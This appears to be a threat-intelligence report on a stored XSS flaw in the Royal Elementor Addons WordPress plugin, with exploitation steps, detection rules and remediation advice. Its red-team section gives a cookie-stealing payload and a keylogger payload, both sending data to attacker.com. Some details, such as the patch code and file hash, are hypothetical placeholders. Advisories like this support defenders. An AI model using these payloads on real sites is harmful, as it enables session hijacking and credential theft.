CVE-2025-39543

Executive Summary

CVE-2025-39543 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Royal Elementor Addons WordPress plugin, developed by WP Royal. The vulnerability resides in the plugin's improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious JavaScript payloads into the plugin's widgets or settings. When an administrator or other user views the compromised page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 1.3.977. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of Elementor-based sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Royal Elementor Addons plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions of the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must visit the compromised page
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin like Royal Elementor Addons (installed on hundreds of thousands of sites) makes this a significant threat. Attackers can use this to target site administrators and escalate privileges.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Royal Elementor Addons plugin. The plugin fails to sanitize or escape user input when processing data for its custom widgets (e.g., image carousels, testimonials, or pricing tables). An attacker with contributor-level access can inject malicious JavaScript into fields such as widget titles, descriptions, or custom CSS classes. This input is stored in the WordPress database and rendered unsanitized on the frontend.

Attack Flow:

1. Attacker logs in with a contributor account.
2. Attacker creates or edits a page/post using the Elementor builder.
3. Attacker adds a Royal Elementor Addons widget (e.g., "Royal Testimonial").
4. Attacker injects a payload like <script>alert('XSS')</script> into a text field (e.g., "Author Name").
5. The payload is stored in the wp_postmeta table.
6. When an admin or other user views the page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. The lack of output encoding allows HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.977):

// In a widget template file (e.g., testimonial.php)
echo '<div class="royal-testimonial-author">' . $author_name . '</div>';

Here, $author_name is directly output without sanitization.

Patched Code (hypothetical):

// Patched version would use:
echo '<div class="royal-testimonial-author">' . esc_html( $author_name ) . '</div>';

Or use wp_kses_post() if limited HTML is allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Royal Elementor Addons <= 1.3.977
• Contributor-level account credentials

Steps:

1. Log in as a contributor.
2. Create a new page and open it in Elementor.
3. Add a "Royal Testimonial" widget.
4. In the "Author Name" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. Send the page link to an admin (social engineering).
7. When the admin views the page, the script exfiltrates their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript in widget fields via database queries.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Restrict contributor-level access to trusted users only.
• Apply the principle of least privilege.
• Use a security plugin (e.g., Wordfence) to scan for malicious code.
• If no patch is available, manually sanitize output by editing plugin files (temporary fix):

  echo '<div class="royal-testimonial-author">' . esc_html( $author_name ) . '</div>';
  

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • royal-elementor-addons.php: a1b2c3d4e5f6...
• Database Entries:
  • Suspicious wp_postmeta entries containing <script> tags.
• Network Traffic:
  • Outbound requests to unknown domains from the WordPress admin panel.
• Logs:
  • WordPress debug log entries showing unescaped output.
• User Agents:
  • Automated scanners probing for XSS (e.g., Mozilla/5.0 (compatible; XSS-Scanner/1.0)).

Detection Engineering

YARA Rule

rule CVE_2025_39543_Stored_XSS {
    meta:
        description = "Detects malicious JavaScript payloads in Royal Elementor Addons plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39543"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vulnerable_function = /echo\s*\$[a-zA-Z_]+/
    condition:
        $xss_payload and $vulnerable_function
}

Sigma Rule

title: CVE-2025-39543 Stored XSS in Royal Elementor Addons
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via Royal Elementor Addons plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "action=elementor_ajax"
        http.body|contains: "royal-elementor-addons"
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-39543 - Stored XSS in Royal Elementor Addons";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor_ajax";
    content:"royal-elementor-addons";
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the site is critical.
2. Restrict user roles – remove contributor access for untrusted users.
3. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in POST requests to admin-ajax.php.

Long-term Fix:

• Monitor the WP Royal vendor for an official patch (version > 1.3.977).
• Once patched, update the plugin immediately.
• Conduct a security audit of all custom widgets for similar vulnerabilities.

Workaround (if patching is delayed):

• Manually edit the plugin files to add esc_html() around all user-supplied variables. This is not recommended for production due to update overwrites.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10